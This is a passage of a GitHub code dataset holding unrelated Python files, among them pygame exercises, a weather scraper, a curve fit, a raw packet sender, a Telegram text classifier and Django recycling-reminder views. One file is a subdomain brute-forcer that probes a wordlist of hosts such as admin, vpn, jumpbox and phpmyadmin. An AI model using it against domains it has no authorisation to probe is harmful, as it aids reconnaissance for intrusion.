dist_to_go < 0:                        # Are we under floor?\n            self.y_velocity = -0.65 * self.y_velocity     # Bounce\n            new_y_pos = target_y + dist_to_go     # Move back above floor\n    \n        self.posn = (x, new_y_pos)                # Set our new position.\n\n    def draw(self, target_surface):      # Same as before.\n        target_surface.blit(self.image, self.posn)\n        \n    def contains_point(self, pt):\n        \"\"\" Return True if my sprite rectangle contains point pt \"\"\"\n        (my_x, my_y) = self.posn\n        my_width = self.image.get_width()\n        my_height = self.image.get_height()\n        (x, y) = pt\n        return ( x >= my_x and x < my_x + my_width and\n                 y >= my_y and y < my_y + my_height)\n    \n    def handle_click(self):\n        self.y_velocity += -8   # Kick it up    \n\n\n\"TWO\"        \nclass DukeSprite:\n\n    def __init__(self, img, target_posn):\n        self.image = img\n        self.posn = target_posn\n        self.anim_frame_count = 0\n        self.curr_patch_num = 0\n\n    def update(self):\n        if self.anim_frame_count > 0:\n            self.anim_frame_count = (self.anim_frame_count + 1 ) % 60\n            self.curr_patch_num = self.anim_frame_count // 6\n\n    def draw(self, target_surface):\n        patch_rect = (self.curr_patch_num * 50, 0,\n                       50, self.image.get_height())\n        target_surface.blit(self.image, self.posn, patch_rect)\n\n    def contains_point(self, pt):\n        (my_x, my_y) = self.posn\n        my_width = self.image.get_width()/10\n        #The reason that clicking on the squares to the right of Duke still triggered the animation was because the whole spritesheet was still displayed as the image, but only the first part, where he is shown as idle, can be seen. Thus, the solution is to split the width by however many different sprite states Duke's sheet has, in this case 10. \n        my_height = self.image.get_height()\n        (x, y) = pt\n        return ( x >= my_x and x < my_x + my_width and\n                  y >= my_y and y < my_y + my_height)\n\n    def handle_click(self):\n        if self.anim_frame_count == 0:\n            self.anim_frame_count = 5\n\ndef draw_board(the_board):\n    pygame.init()\n    my_clock = pygame.time.Clock()\n    colors = [(255,0,0), (0,0,0)]    # Set up colors [red, black]\n    \n    n = len(the_board)         # This is an NxN chess board.\n    surface_sz = 540           # Proposed physical surface size.\n    sq_sz = surface_sz // n    # sq_sz is length of a square.\n    surface_sz = n * sq_sz     # Adjust to exactly fit n squares.\n\n    # Create the surface of (width, height), and its window.\n    surface = pygame.display.set_mode((surface_sz, surface_sz))\n\n    ball = pygame.image.load(\"ball.png\")\n    ball_offset = (sq_sz-ball.get_width()) // 2\n    all_sprites=[]\n\n    \n    for (col, row) in enumerate(the_board):\n        a_queen = QueenSprite(ball,\n                   (col*sq_sz+ball_offset, row*sq_sz+ball_offset))\n        all_sprites.append(a_queen)\n            # Load the sprite sheet\n    duke_sprite_sheet = pygame.image.load(\"duke_spritesheet.png\")\n    \n    # Instantiate two duke instances, put them on the chessboard\n    duke1 = DukeSprite(duke_sprite_sheet,(sq_sz*2, 0))\n    duke2 = DukeSprite(duke_sprite_sheet,(sq_sz*5, sq_sz))\n    \n    # Add them to the list of sprites which our game loop manages\n    all_sprites.append(duke1)\n    all_sprites.append(duke2)\n\n    while True:\n        # Look for an event from keyboard, mouse, etc.\n        ev = pygame.event.poll()\n        if ev.type == pygame.QUIT:\n            break;\n        if ev.type == pygame.KEYDOWN:\n            key = ev.dict[\"key\"]\n            if key == 27:                  # On Escape key ...\n                break                      #   leave the game loop.\n            if key == ord(\"r\"):\n                colors[0] = (255, 0, 0)    # Change to red + black.\n            elif key == ord(\"g\"):\n                colors[0] = (0, 255, 0)    # Change to green + black.\n            elif key == ord(\"b\"):\n                colors[0] = (0, 0, 255)    # Change to blue + black.\n                \n        if ev.type == pygame.MOUSEBUTTONDOWN:\n            posn_of_click = ev.dict[\"pos\"]\n            for sprite in all_sprites:\n                if sprite.contains_point(posn_of_click):\n                    sprite.handle_click()\n                    break            \n\n        # Ask every sprite to update itself.\n        for sprite in all_sprites:\n            sprite.update()\n\n        # Draw a fresh background (a blank chess board)\n        # ... same as before ...\n        # Look for an event from keyboard, mouse, etc.\n        ev = pygame.event.poll()\n        if ev.type == pygame.QUIT:\n            break\n\n        # Draw a fresh background (a blank chess board)\n        for row in range(n):           # Draw each row of the board.\n            c_indx = row % 2           # Alternate starting color\n            for col in range(n):       # Run through cols drawing squares\n                the_square = (col*sq_sz, row*sq_sz, sq_sz, sq_sz)\n                surface.fill(colors[c_indx], the_square)\n                # Now flip the color index for the next square\n                c_indx = (c_indx + 1) % 2\n        \n        # Ask every sprite to draw itself.\n        for sprite in all_sprites:\n            sprite.draw(surface)\n\n        pygame.display.flip()\n        my_clock.tick(60)\n        \n    pygame.quit() \n    \n#draw_board([6, 4, 2, 0, 5, 7, 1, 3])\n        \n\"THREE\"\ndef pokerhand():\n    import random\n    rng=random.Random()\n    cards=list(range(1, 53))\n    rng.shuffle(cards)\n    cards=cards[:5]\n    return cards\n\ndef displayhand():\n    pygame.init()\n    pygame.display.set_caption('Poker Hand')\n    scr_width=400\n    scr_height=400\n    surface=pygame.display.set_mode((scr_width, scr_height))\n    surface.fill((0, 100, 0))    \n    cards=pygame.image.load(\"cards.jpg\")\n    width=cards.get_width()\n    height=cards.get_height()    \n    hand=pokerhand()\n    print(hand)\n    x=(scr_width-width*5/13)/2\n    y=(scr_height-height/4)/2\n    pos=(x,y)   \n    for i, num in enumerate(hand):\n        card_width=width/13*((num-1)%13)\n        card_height=height/4*((num-1) // 13)\n        rect=(card_width, card_height, width/13, height/4)\n        surface.blit(cards, pos, rect)\n        x=x+width/13\n        pos=(x,y)  \n    while True:\n        ev=pygame.event.poll()\n        if ev.type==pygame.QUIT:\n            break\n            \n        pygame.display.flip()\n        \n    pygame.quit()\n        \ndisplayhand()","repo_name":"JTTheAxis/thinklikeacompscientist","sub_path":"Chapter 17 Practice.py","file_name":"Chapter 17 Practice.py","file_ext":"py","file_size_in_byte":7997,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"}
+{"seq_id":"34562028164","text":"import urllib.request\nfrom bs4 import BeautifulSoup\n\napi = 'https://www.kma.go.kr/weather/forecast/mid-term-rss3.jsp'\nurls = urllib.request.urlopen(api).read()\nsoup = BeautifulSoup(urls, 'html.parser')\n\ncities = soup.find_all(\"city\")\ndata = soup.find_all(\"data\")\ndates = soup.find(\"tmef\")\n\nprint(dates.string)\nfor i in range(len(cities)):\n    print(f'{cities[i].string}의 날씨는 {data[i*13].find(\"wf\").string}입니다.')\n\nprint(len(cities), len(data))","repo_name":"voidgogo/BigData","sub_path":"week07_web02.py","file_name":"week07_web02.py","file_ext":"py","file_size_in_byte":456,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"60"}
+{"seq_id":"74380517631","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Fri Sep 17 12:09:42 2021\n\n@author: lowkg\n\"\"\"\n\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport pandas as pd\nfrom scipy.optimize import curve_fit\n\nTe = ( 38.58, 95.09,211.81,420.01,855.64)\nFc= ( 3.42,14.70,20.28,25.21,34.5)\n'''\nTe = ( 43.18, 100.69,217.11,423.74,855.64)\nFc= ( 13.98,19.23,38.54,45.58,52.05)\n'''\nEq_Option = [0,1]\nlegend =[]\n\ndef Func_ScandinavianCode(Te, Fc_u, tau, a):\n    # ScandinavianCode Equation to calculate Compressive Strength\n    return Fc_u * (np.exp(-np.power((tau / Te), a)))\n\ndef Func_AmericanCode(Te, Fc_u, k, Te_0):\n    # AmericanCode Equation to calculate Compressive Strength\n    return Fc_u*((k*(Te-Te_0))/(1+k*(Te-Te_0)))\n\n# array with 3 elements in order of Fc_u,tau,a\ndef Fc_ParameterGraph(pars,option): \n    df = pd.DataFrame()\n    Te_graph = []\n    Fc_graph = []\n    \n    Fc_u = round(pars[0],4)\n    par1 = round(pars[1],4)\n    par2 = round(pars[2],4)\n    \n    iLim = max(Te)\n    i = 0.5\n    while i < iLim:\n        Te_plot = i\n        if option == 0:\n            Fc_cal = Fc_u * (np.exp(-np.power((par1 / Te_plot), par2)))\n            PlotLegend = 'ScandinavianEq'\n        elif option == 1:\n            Fc_cal = Fc_u*((par1*(Te_plot-par2))/(1+par1*(Te_plot-par2)))\n            PlotLegend = 'AmericanEq'\n        Te_graph.append(i)\n        Fc_graph.append(Fc_cal)\n        i+=0.5\n\n    df['Te'] = Te_graph\n    df['Fc'] = Fc_graph\n    \n    plt.scatter(Te, Fc)\n    legend.append(PlotLegend)\n    plt.plot(df['Te'], df['Fc'],linestyle='dashdot')\n    plt.legend(legend)\n\ndef DeviationCalculation(pars,Te,Fc,option):\n    Fc_u = round(pars[0],4)\n    par1 =round(pars[1],4)\n    par2 = round(pars[2],4)\n    \n    for i in range(len(Te)):\n        Te_input = Te[i]\n        if option == 0:\n            Fc_cal = Fc_u * (np.exp(-np.power((par1 /Te_input), par2)))\n        elif option == 1:\n            Fc_cal = Fc_u*((par1*(Te_input-par2))/(1+par1*(Te_input-par2)))\n            \n        Dev = round((Fc_cal - Fc[i])/Fc[i]*100,2)\n        print(\"Fc: \" + str(Fc[i]) + \"\\t Deviation: \" + str(Dev))\n    print(\"\")\n\ndef getStrengthParameter(Te,Fc):\n    F_strength =[Func_ScandinavianCode,Func_AmericanCode]\n    Fc_0 = 25\n    for option in Eq_Option:\n        # Guestimate initial parameter\n        if option == 0:\n            par1 = 10 ; par2 = 0.6;\n            param = ['Fc_u','tau','a']\n        \n        elif option == 1:\n            par1 = 0 ; par2 = 0\n            param = ['Fc_u','k','Te_0']\n            \n        pars, cov = curve_fit(f=F_strength[option], xdata=Te, ydata=Fc,\n                          p0=[Fc_0,par1,par2])\n        \n        for i in range(len(param)):\n            print(param[i] + ':' + str(round(pars[i],2)))\n            \n        Fc_ParameterGraph(pars,option)\n        DeviationCalculation(pars, Te, Fc,option)\n        \n    return pars\n\nplt.figure(figsize=(6, 4))\npars = getStrengthParameter(Te,Fc)\n\n\n\n","repo_name":"uen6ueakKG/ParameterCurveFit","sub_path":"CalibrationParameter.py","file_name":"CalibrationParameter.py","file_ext":"py","file_size_in_byte":2886,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"38952180636","text":"\n\nfrom AbstractSender import AbstractSender\nimport tempfile\nimport subprocess\nimport os\n\nclass PierfSender(AbstractSender):\n    '''\n    classdocs\n    '''\n    pierfXML_template =\\\n'''\n<pierf>\n  <port id=\"net_if\" device=\"{0}\" />\n    <scene id=\"RAW\">\n      <seq repeat=\"1\">\n        <packet port=\"net_if\">\n          <raw>{1}</raw>\n        </packet>\n      </seq>\n    </scene>\n    <play scene=\"RAW\" />\n</pierf>\n'''\n    def __init__(self, context):\n        '''\n        Constructor\n        '''\n        self.__defaults = {'interface':'eth0',\n                           'pierf_app_full_file_name' : '/opt/pierf/pierf'}\n        \n        context.update(self.__defaults)\n        self.__context = context\n    \n    def cutCRC32(self, packet ):\n        return  packet[0:-4]\n    \n    def convert2Hex(self, packet ):\n        result = \"\"\n        for byte in packet:\n            result += \":\" + \"{0:2x}\".format(ord(byte)).replace(' ', '0').upper()\n        \n        return result\n    \n    def generatePierfXml(self, hexPacket):\n        pierfXML = self.pierfXML_template.format(self.__context['interface'], \n                                            hexPacket)\n        return pierfXML\n    \n    def runPierf(self, configFileName):\n        subprocess.call([self.__context['pierf_app_full_file_name'],configFileName])\n    \n    def sendPacket(self, packet):    \n        try:\n            tmpFileName = None\n            with tempfile.NamedTemporaryFile(mode='w+', delete=False) as tmpFile:\n                tmpFile.write( \n                    self.generatePierfXml(\n                        self.convert2Hex(\n                            self.cutCRC32(packet))))\n                \n                tmpFile.flush()\n                tmpFileName = tmpFile.name\n            \n            self.runPierf(tmpFileName)\n        finally:\n            if tmpFileName:\n                os.unlink(tmpFileName)\n\n            \n        return None","repo_name":"olegh/packet_synthesier","sub_path":"src/PierfSender.py","file_name":"PierfSender.py","file_ext":"py","file_size_in_byte":1895,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"60"}
+{"seq_id":"4108102230","text":"from .models import MainTable\nfrom .models import MainTable, CafedraClasses\n\n\nclass Rasp:\n\n    # Функция устанавливает в главную таблицу преподователей\n    def setTeacher(Table, PrepodArray, priority):\n        print(priority)\n        for x in range(len(Table)):\n            for PrepodTable in PrepodArray:\n                day = PrepodTable.filter(Date=Table[x].vremya)\n                if day and Table[x].Prepod == \"\":\n                    mainTableday = Table.filter(vremya=Table[x].vremya)\n                    for lesson in day:\n                        for mainDay in mainTableday:\n                            if lesson.LessonNumber == mainDay.NLecii:\n                                if priority == 1:\n                                    obj = Table.get(pk=mainDay.id)\n                                    obj.Prepod = lesson.teacher.last_name + \" \" + lesson.teacher.first_name  # надо откуда то брать имя препода\n                                    obj.teacherId = lesson.teacher\n                                    obj.save()\n\n                                if priority == 2:\n                                    isBusy = MainTable.objects.filter(NLecii=mainDay.NLecii, vremya=mainDay.vremya)\n                                    if isBusy:\n                                        obj = Table.get(pk=mainDay.id + 1)\n                                        obj.Prepod = lesson.teacher.last_name + \" \" + lesson.teacher.first_name  # надо откуда то брать имя препода\n                                        obj.teacherId = lesson.teacher\n                                        obj.save()\n\n    # функция устанавливает предмет в главную таблицу\n    def setSubject(Table, studyPlan, hours):\n        exTable = Table.exclude(Prepod=\"\")\n        print(studyPlan)\n        for x in range(len(exTable)):\n            for y in range(len(studyPlan)):\n                if exTable[x].teacherId == studyPlan[y].teacher and hours > 0:\n                    obj = Table.get(pk=exTable[x].id)\n                    hoursType = studyPlan[y].hours\n\n                    if studyPlan[y].typeSubject == \"Лекция\" and obj.Auditoriya == \"\" and studyPlan[\n                        y].remaningLectures > 0:\n                        clases = CafedraClasses.objects.filter(AllowedLections=\"True\")\n                        obj.Predmet = studyPlan[y].subject\n                        obj.Auditoriya = clases[0].ClassName\n                        obj.Podgruppa = studyPlan[y].typeSubject\n                        obj.save()\n                        studyPlan[y].remaningLectures -= 1\n                        studyPlan[y].save()\n                        hours -= 1\n                        continue\n\n                    if studyPlan[y].typeSubject == \"Практика\" and obj.Auditoriya == \"\" and studyPlan[\n                        y].remaningLectures > 0:\n                        clases = CafedraClasses.objects.filter(AllowedPractice=\"True\")\n                        obj.Predmet = studyPlan[y].subject\n                        obj.Auditoriya = clases[0].ClassName\n                        obj.Podgruppa = studyPlan[y].typeSubject\n                        obj.save()\n                        studyPlan[y].remaningLectures -= 1\n                        studyPlan[y].save()\n                        hours -= 1\n                        continue\n\n                    if studyPlan[y].typeSubject == \"ЛабРабота\" and obj.Auditoriya == \"\" and studyPlan[\n                        y].remaningLectures > 0:\n                        clases = CafedraClasses.objects.filter(AllowedLabs=\"True\")\n                        obj.Predmet = studyPlan[y].subject\n                        obj.Auditoriya = clases[0].ClassName\n                        obj.Podgruppa = studyPlan[y].typeSubject\n                        obj.save()\n\n                        studyPlan[y].remaningLectures -= 1\n                        studyPlan[y].save()\n                        hours -= 1\n                        continue\n\n    def lastIterate(Table,studyPlan):\n        Table = Table.filter(Prepod__exact='')\n        teacherId = studyPlan[0].teacher\n        for x in Table:\n            x.Prepod = teacherId.last_name + \" \" + teacherId.first_name\n            lections = studyPlan.filter(typeSubject=\"Лекция\")[0].remaningLectures\n            practice = studyPlan.filter(typeSubject=\"Практика\")[0].remaningLectures\n            for type in studyPlan:\n                if type.typeSubject == \"Лекция\" and type.remaningLectures > 0:\n                    clases = CafedraClasses.objects.filter(AllowedLections=\"True\")\n                    x.Predmet = type.subject\n                    x.Auditoriya = clases[0].ClassName\n                    x.Podgruppa = type.typeSubject\n                    x.save()\n                    type.remaningLectures -= 1\n                    type.save()\n                    continue\n                if type.typeSubject == \"Практика\" and type.remaningLectures > 0 and lections == 0:\n                    clases = CafedraClasses.objects.filter(AllowedPractice=\"True\")\n                    x.Predmet = type.subject\n                    x.Auditoriya = clases[0].ClassName\n                    x.Podgruppa = type.typeSubject\n                    x.save()\n                    type.remaningLectures -= 1\n                    type.save()\n\n                    continue\n                if type.typeSubject == \"ЛабРабота\" and type.remaningLectures > 0 and lections == 0 and practice == 0:\n                    clases = CafedraClasses.objects.filter(AllowedLabs=\"True\")\n                    x.Predmet = type.subject\n                    x.Auditoriya = clases[0].ClassName\n                    x.Podgruppa = type.typeSubject\n                    x.save()\n                    type.remaningLectures -= 1\n                    type.save()\n\n                    continue\n","repo_name":"NavigatorZero/DiplomTimetable","sub_path":"Timetable/MainApp/Rasp.py","file_name":"Rasp.py","file_ext":"py","file_size_in_byte":5943,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"26162330849","text":"#!/usr/bin/env python\n#-*- coding:utf-8 -*-\n\nimport sys\nimport socket\n\nCOMMON_DOMAINS = [\n    'api',\n    'callbacks',\n    'apt',\n    'rpm',\n    'repo',\n    'www',\n    'www1',\n    'www2',\n    'www3',\n    'www4',\n    'www5',\n    'www6',\n    'www7',\n    'www8',\n    'www9',\n    'ws',\n    'beta',\n    'web',\n    'ftp',\n    'irc',\n    'pptp',\n    'old',\n    'deprecated',\n    'new',\n    'dns',\n    'dev',\n    'test',\n    'test2',\n    'stage',\n    'staging',\n    'admin',\n    'auth',\n    'database',\n    'db',\n    'master',\n    'slave',\n    'mysql',\n    'mariadb',\n    'mongodb',\n    'postgres',\n    'webmail',\n    'pop',\n    'smtp',\n    'mail',\n    'intranet',\n    'vpn',\n    'vps',\n    'jump',\n    'jumpbox',\n    'tunnel',\n    'demo',\n    'temp',\n    'backend',\n    'cms',\n    'crm',\n    'support',\n    'blog',\n    'help',\n    'stats',\n    'statistics',\n    'health',\n    'status',\n    'owncloud',\n    'nextcloud',\n    'redmine',\n    'source',\n    'git',\n    'gitlab',\n    'svn',\n    'hg',\n    'mercurial',\n    'bitbucket',\n    'wiki',\n    'mediawiki',\n    'office',\n    'backup',\n    'virtual',\n    'docker',\n    'k8s',\n    'kubernetes',\n    'visma',\n    'logs',\n    'media',\n    'static',\n    'images',\n    'img',\n    'imgs',\n    'assets',\n    'cache',\n    'episerver',\n    'epi',\n    'monitor',\n    'monitoring',\n    'sip',\n    'a','b','c','d','e','f','g','h','i','j',\n    'k','l','m','n','o','p','q','r','s','t',\n    'u','v','w','x','y','z',\n    'www.m',\n    'shop',\n    \"cart\",\n    'store',\n    'buy',\n    'app',\n    'cpanel',\n    'home',\n    'forum',\n    'cdn',\n    'secure',\n    'whm',\n    'files',\n    'filetransfer',\n    'portal',\n    'member',\n    'members',\n    'community',\n    'subscriber',\n    'subscribers',\n    'payment',\n    'payments',\n    'mobile',\n    'phpmyadmin',\n    'cloud',\n    'fake',\n    'login',\n    'account',\n    'accounts',\n    'people',\n    'live',\n    'apps',\n    'jira',\n    'internal',\n    'secret',\n    'feed',\n    'go',\n    'redirect',\n    'partners',\n    'labs',\n    'en',\n    'us',\n    'fr',\n    'se',\n    'uk',\n    'fi',\n    'dk',\n    'de',\n    'no',\n    'au',\n    'be',\n    'ru',\n    'ch',\n    'it',\n    'nl',\n    'com',\n    'next',\n    'one',\n    'two',\n    'three',\n    'four',\n    'five',\n    'six',\n    'seven',\n    'eight',\n    'nine',\n    'ten',\n    'open',\n    'info',\n    'developer',\n    'enterprise',\n    'console',\n    'try',\n    'discuss',\n    'docs',\n    'newsletter',\n    'premium',\n    'feedback',\n    'updates',\n    'update',\n    'download',\n    'downloads',\n    'projects',\n    'project',\n    'survey',\n    'my',\n    'server',\n    'controller',\n    'stream',\n    'id',\n    'marketing',\n    'tracking',\n    'campaign',\n    'investors',\n    'investor',\n    'signup',\n    'transition',\n    'link',\n    'links',\n    'group',\n    'ups',\n    'dhl',\n    'fedex',\n    'distribution',\n    'observer',\n    'shopify',\n    'wordpress',\n    'aws',\n    'heroku',\n    'google',\n    'squarespace',\n    'resources',\n    'preview',\n]\n\ndef getIP(domain):\n    try:\n        data = socket.gethostbyname_ex(domain)\n        ipx = data[2]\n        return ipx\n    except:\n        return []\n\ndef main():\n\n    result = []\n\n    if len(sys.argv) != 2:\n        print(\"Requiers a domain as argument\")\n        return 0;\n\n    for i in COMMON_DOMAINS:\n        domain = i+\".\"+sys.argv[1]\n        ips = getIP(domain)\n        if len(ips) != 0:\n            sys.stdout.write(\"%s:\\n\" % domain)\n            for ip in ips:\n                sys.stdout.write(\"\\t\\t\\t%s\\n\" % ip)\n            sys.stdout.write('\\n\\n')\n        sys.stdout.flush()\n\n\n\nif __name__ == '__main__':\n    sys.exit(main())\n\n\n","repo_name":"samiberndtson/dns.py","sub_path":"dns.py","file_name":"dns.py","file_ext":"py","file_size_in_byte":3602,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"907354614","text":"import json\nimport fasttext\nimport pandas as pd\n\n# import os\n# os.chdir(\"/Users/a.orzikulov/Desktop/GitHub/Integro\")  ################\n\nimport util   ################\n\n\n# util.main()  ################\n# file_path = \"output-25-8-2021.json\"  ################\n\n\ndef main(file_path):\n    with open(file_path, \"r\", encoding=\"UTF-8\") as file:   ################\n        data = json.load(file)\n\n    LANGUAGE_MODEL_PATH = '../lid.176.bin'\n    model = fasttext.load_model(LANGUAGE_MODEL_PATH)\n    russian_texts = []\n    uzbek_texts = []\n    for channel, posts in data.items():\n        for post_id, (date, views, post_text) in posts.items():     ##  data[\"https://t.me/Buka_tumani\"].values()\n            if not any([post_text == \"None\", post_text == \"\", post_text is None]):\n                post_text = util.multiple_replace(util.REPLACEMENTS, post_text)\n                prediction, score = model.predict(post_text)\n                if prediction[0] == \"__label__ru\" and score[0] >= 0.8:\n                    russian_texts.append([channel, post_id, date, views, post_text])\n                else:\n                    fixed_message = \"\"\n                    for idx, character in enumerate(post_text):\n                        if character == \"Е\" or character == \"е\":\n                            fixed_message += util.change_e(\n                                idx, post_text, util.TRANSLATOR, util.STOP_SYMBOLS, util.VOWELS)\n                        elif character == \"Ц\" or character == \"ц\":\n                            fixed_message += util.change_ts(\n                                idx, post_text, util.TRANSLATOR, util.STOP_SYMBOLS, util.VOWELS)\n                        elif character in util.TRANSLATOR:\n                            fixed_message += util.TRANSLATOR[character]\n                        else:\n                            fixed_message += character\n\n                    uzbek_texts.append([channel, post_id, date, views, fixed_message])\n\n    util.log('info', f\"The number of Uzbek posts is {len(uzbek_texts)}\")\n    util.log('info', f\"The number of Russian posts is {len(russian_texts)}\")\n    header = [\"channel\", \"post_id\", \"date\", \"views\", \"post\"] # \"label\"\n    if uzbek_texts:\n        data_frame = pd.DataFrame(uzbek_texts)\n        data_frame.to_excel('uzbek.xlsx', header=header, index=False)\n    if russian_texts:\n        data_frame = pd.DataFrame(russian_texts)\n        data_frame.to_excel('russian.xlsx', header=header, index=False)\n\n    util.log('success', \"Two Excel files have been created.\")\n\n# import numpy as np\n\n# with open(\"../uzbek_texts.txt\", \"w\", encoding=\"UTF-8\") as file:\n#     for text in uzbek_texts:\n#         file.writelines(text + \"\\n\")\n\n# with open(\"../russian_texts.txt\", \"w\", encoding=\"UTF-8\") as file:\n#     for text in russian_texts:\n#         file.writelines(text + \"\\n\")\n\n# russian_texts = []\n# uzbek_texts = []\n# for posts in data.values():\n#     for post_text in posts.values():     ##  data[\"https://t.me/Buka_tumani\"].values()\n#         if not any([post_text == \"None\", post_text == \"\", post_text is None]):\n#             if np.random.random() <= 0.03693444136657433:\n#                 post_text = util.multiple_replace(REPLACEMENTS, post_text)\n#                 prediction, score = model.predict(post_text)\n#                 if prediction[0] == \"__label__ru\" and score[0] >= 0.8:\n#                     russian_texts.append(post_text)\n#                 else:\n#                     uzbek_texts.append(post_text)\n\n# print(len(uzbek_texts))\n# print(len(russian_texts))\n","repo_name":"Asrorbek-Orzikulov/sentiment_analysis","sub_path":"action/converter.py","file_name":"converter.py","file_ext":"py","file_size_in_byte":3506,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"12343359757","text":"#!/usr/bin/env python3\nimport jsonschema\nimport sys\nimport yaml\n\nif len(sys.argv) < 2:\n    sys.exit(\"Usage: {} MANUAL_FILE ...\".format(sys.argv[0]))\n\nwith open(\"manual_schema.yml\", \"r\") as schema_file:\n    manual_schema = yaml.safe_load(schema_file)\n\nfor path in sys.argv[1:]:\n    with open(path, \"r\") as manual_file:\n        manual_data = yaml.safe_load(manual_file)\n    try:\n        jsonschema.validate(instance=manual_data, schema=manual_schema)\n    except jsonschema.exceptions.ValidationError as e:\n        print(\"Failed to validate:\", path, file=sys.stderr)\n        sys.exit(e)\n","repo_name":"jqlang/jq","sub_path":"docs/validate_manual_schema.py","file_name":"validate_manual_schema.py","file_ext":"py","file_size_in_byte":584,"program_lang":"python","lang":"en","doc_type":"code","stars":27144,"dataset":"github-code","pt":"60"}
+{"seq_id":"22611509401","text":"from __future__ import print_function\nfrom django.template import Context, loader, RequestContext\nfrom app.models import Contacts\nfrom django.http import HttpResponse, HttpResponseRedirect\nfrom django.contrib.auth.decorators import login_required\nfrom django.contrib.auth import authenticate, login, logout\n\n#ModelForms\nfrom django.shortcuts import render, redirect, get_object_or_404\nfrom django import forms\nfrom django.utils import timezone\nfrom django.views.decorators import csrf\nfrom django.urls import reverse , resolve\nfrom django.core.mail import send_mail\n\nfrom .forms import ContactForm, LookupForm, CancelForm\n\n#Recycling logic\nfrom .recycle import parse_address, confirm_subscription, cancel_subscription, get_initial_message, insert_contact, get_zones, insert_initial_message, select_initial_message\n\n#Hash value for obfuscating primary key.  stackoverflow.com/questions/10559935/django-how-do-i-hash-a-url-from-the-database-objects-primary-key\nfrom mysite.passwords import OBFUSCATE\n\n#Logo image\nlogo_image=\"recyclobuddy_logo.jpg\"\n\n# Create your views here.\n\n#See pydanny.com/core-concepts-django-modelforms.html, but note several errors in the example code.\ndef index(request):\n    message = \"\"\n    if request.method == \"POST\":\n        form = LookupForm(request.POST)\n\n        if form.is_valid():\n\n            #Capture fields from the form\n            municipality=form.cleaned_data['municipality']\n            address=form.cleaned_data['address']\n            zip=form.cleaned_data['zip']\n\n            #Parse address to put into standard form.  Check for error\n            error_code, parsed_address = parse_address(address, municipality)\n\n\n            if error_code == 1:\n                #If error_code==1, failed to find street identifier\n                message = \"Didn't work. Please check municipality and omit apartment or suite from address.\"\n                subscribe_URL=\"\"\n\n            else:\n                #Looks good, go ahead with the process\n\n                #Look up zone information and return a zone dictionary giving zone and day for recycling, trash and yard waste\n                try: \n                    zone_dict = get_zones(municipality, parsed_address, zip)\n                    server_failed=False\n                except Exception:\n                    zone_dict = False\n                    server_failed=True\n                    raise\n\n                if zone_dict:\n                        #Do lookup from schedules table and get message\n                        messages=get_initial_message(municipality, zone_dict)\n\n                        #Copy result into contacts table\n                        primary_key=insert_contact(municipality, parsed_address, zip, zone_dict)\n\n                        #Copy message into initial_messages table\n                        insert_initial_message(primary_key, messages)\n\n                        #Obfuscate the primary key\n                        masked_key = primary_key ^ OBFUSCATE\n\n                        #Create URL for subscription with primary key\n                        subscribe_URL=\"subscribe_\" + str(masked_key)\n\n                        #Redirect to subscription page\n                        return HttpResponseRedirect(subscribe_URL)\n\n                else:\n                        #Failed.  Could be the address wasn't good, (server_failed is False), or that server can't be reached. \n                        if server_failed==False:\n                            message = \"Didn't work. City couldn't locate that address. Missing N-S-E-W? \"\n                        else:\n                            message = \"Can't reach city server. Could be down or heavily loaded.\"\n                            \n                        subscribe_URL=\"\"\n                        form=LookupForm(request.POST)\n\n            #Failed to get address in usable form or failed in zone look up\n\n            c = {\n                    'app_template': 'app/basic_template.html',\n                    'logo_image' : logo_image,\n                    'message': message,\n                    'subscribe_URL': subscribe_URL,\n                    'form' : form\n            }\n\n            return render (request, \"app/index.html\", c )\n\n        else:\n            c = {\n                    'app_template': 'app/basic_template.html',\n                    'logo_image' : logo_image,\n                    'message': 'Hit a snag. Omit any apt or suite info, use 5-digit zip',\n                    'form' : form\n            }\n\n            return render (request, \"app/index.html\", c ) \n    else:\n        form = LookupForm(initial={'municipality': 'LOWER_MERION'})\n\n    c = {\n        'app_template': 'app/basic_template.html',\n        'logo_image' : logo_image,\n        'form': form,\n    }\n\n    return render (request, \"app/index.html\", c ) \n\n#@login_required\ndef subscribe(request, masked_key):\n    #undo obfuscation\n    primary_key = int(masked_key) ^ OBFUSCATE\n\n    cat = get_object_or_404(Contacts, index_key=primary_key)\n\n    #If this request has already been submitted, show the acknowledge page to avoid exposing private data.\n    if cat.request==True:\n        c = {\n            'app_template': 'app/basic_template.html',\n            'logo_image' : logo_image,\n            }\n        #Send URL acknowledging request\n        return render (request, \"app/acknowledge.html\", c )\n\n    if request.method == \"POST\":\n        #Using the instance here allows an update.  docs.djangoproject.com/en/1.1/topics/forms/modelforms/#the-dave-method\n        form = ContactForm(request.POST, instance=cat)\n\n        if form.is_valid():\n            model_instance = form.save()\n            primary_key = model_instance.pk\n\n            #Create message for confirmation\n            confirmation_message=confirm_subscription(\n                masked_key, \n                model_instance.first_name,\n                model_instance.last_name,\n                model_instance.alert_day,\n                model_instance.alert_time,\n                model_instance.email_alert,\n                model_instance.sms_alert,\n            )\n            \n            #Update Contacts to reflect confirmation request\n            c=Contacts.objects.get(pk=primary_key)\n            c.request=True\n            c.save()\n\n            #Send mail message add try catch ???\n            try:\n                    send_mail('Confirmation request', confirmation_message, 'recyclobuddy@recyclobuddy.com', [model_instance.email], fail_silently=False)\n            except Exception:\n                print (\"Failed to send confirmation email\\n\")\n\n\n                c = {\n                'app_template': 'app/basic_template.html',\n                'logo_image' : logo_image,\n                }\n            #Send URL acknowledging request\n                return render (request, \"app/acknowledge.html\", c )\n\n    else:\n            \n        form=ContactForm(instance = cat)\n    \n    #You are here either because ir's presenting the form before data is added, or the data isn't valid.\n        \n    #Get message information\n    messages=select_initial_message(primary_key)\n\n\n    c = {\n        'app_template': 'app/basic_template.html',\n        'logo_image' : logo_image,\n        'message_1': messages[0],\n        'message_2': messages[1],\n        'message_3': 